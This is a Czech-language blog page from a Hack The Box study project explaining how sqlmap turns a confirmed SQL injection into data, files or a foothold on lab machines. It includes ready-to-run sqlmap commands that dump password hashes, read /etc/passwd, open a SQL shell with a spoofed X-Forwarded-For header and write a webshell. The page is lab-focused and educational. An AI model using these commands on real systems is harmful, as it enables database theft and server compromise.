tom@home.htb:~$

Blog o HTB

12 November 2020

sqlmap

Úvod a kontext

sqlmap je v tomto projektu praktický hlavně ve chvíli, kdy už byla injection ručně potvrzená nebo je velmi silně naznačená a je potřeba z ní vytěžit maximum bez ručního skládání každého SQL dotazu. Není nejcennější jako nástroj na “hledání magické chyby”. Největší hodnotu má při systematickém využití už známé nebo dobře podezřelé SQL injection.

Na Breadcrumbs pomáhá dumpnout interní data přes lokální port forward. Na Controlu vytěží databázové účty a potom pomůže i se zápisem webshellu. Na Writeru kromě dumpu tabulek čte soubory přes DBMS. Na Cache vytahuje bcrypt hash administrátora OpenEMR. To je důležitý pattern: sqlmap tu není o “najdu zranitelnost”, ale o překladu potvrzené injection do dat, souborů nebo dalšího footholdu.

Co sqlmap v praxi řeší

sqlmap je automatizovaný nástroj pro využití SQL injection. Prakticky odpovídá na otázky:

Právě tahle systematizace je jeho největší hodnota. Jakmile už je jasné, že parametr nebo request injekci skutečně nese, sqlmap výrazně zlevní další práci.

Nejčastější scénáře využití v tomto projektu

Dump databáze po potvrzené injection

Na Cache vznikne foothold do aplikace až po registraci a získání session cookie. Teprve potom dává smysl poslat sqlmap na konkrétní OpenEMR endpoint:

sqlmap "http://hms.htb/portal/find_appt_popup_user.php?providerid=&catid=1" \
  --cookie="PHPSESSID=aadbaaitgfm6v1ddul7brldsou" --threads=10 \
  -D openemr -T users_secure --dump

Tady je důležité, že nástroj neřeší celý útok. Hodnota leží v tom, že:

Výsledkem je bcrypt hash openemr_admin, který pak otevírá další vrstvu aplikace.

Přechod od dat k file-read

Na Writeru je dobře vidět, že sqlmap nemusí končit u dumpu tabulek. Po potvrzení injection dává smysl využít i DBMS file-read:

sqlmap -u http://10.10.11.101/administrative \
  --data="uname=iron&password=man" --method POST -T users --dump
sqlmap -u http://10.10.11.101/administrative \
  --data="uname=iron&password=man" --method POST --file-read=/etc/passwd

Praktický dopad je jiný než u čistě databázového dumpu:

Přechod od dumpu k file-write

Na Controlusqlmap ještě vyšší hodnotu, protože nezůstane u čtení. Po dumpu databázových účtů a prolomení hesla hector přichází další použití: SQL shell a zápis webshellu přes INTO OUTFILE.

sqlmap -u http://control.htb/search_products.php \
  --data="productName=test" --headers "X-Forwarded-For: 192.168.4.28" --sql-shell

Tady je dobře vidět, proč je sqlmap praktický:

Právě tenhle pattern souvisí i s článkem Zápis do prostoru, který se pak vykoná nebo použije pro autentizaci.

Lokální nebo interní injection přes tunel

Na Breadcrumbs je důležitá ještě jiná věc: sqlmap nemusí mířit na veřejný endpoint. Jakmile už existuje tunel nebo interně dostupná URL, pracuje stejně dobře i nad lokální službou:

sqlmap --dump -u "http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords"

To je praktická připomínka, že hodnota nástroje neklesá ani po footholdu. Naopak někdy roste, protože interní rozhraní bývají méně chráněná a mají vyšší privilegia.

Kdy je sqlmap nejlepší volba

Největší smysl dává tehdy, když:

V těchto situacích je rychlejší a spolehlivější než ruční skládání každého dalšího dotazu.

Co sqlmap neumí vyřešit za vás

sqlmap:

Na Cache je výhra v bcrypt hashi administrátora. Na Writeru ve file-read. Na Controlu v kombinaci databázových dat a file-write. Bez čtení dopadu by byl výstup jen hromada databázových záznamů.

Nejčastější chyby při použití

Pouštění nástroje dřív, než je jasné, co vlastně ověřuje

Praktická chyba je začít od sqlmapu místo od ručního potvrzení injection nebo alespoň silné hypotézy. Pak se z něj stává hlučný skener místo přesného pracovního nástroje.

Zastavení u dumpu databáze

V projektu je opakovaně vidět, že skutečná hodnota často neleží v tabulkách samotných, ale v tom, co umožní dál:

Ignorování aplikačního kontextu

Stejný výstup může mít úplně jinou hodnotu podle toho, jestli jde o:

Nejčastější praktické scénáře

Potvrzená SQL injection má vydat uživatele nebo hesla

To je Cache a Control.

Potvrzená SQL injection má otevřít čtení souborů

To je Writer.

Injection běží na interním nebo tunelovaném endpointu

To je Breadcrumbs.

Související články v projektu

Co si odnést do praxe

Další Související Články V Projektu

HTB Stroje

Techniky

Nástroje

tags: nastroje - sqli - database - file-read - file-write - automation - web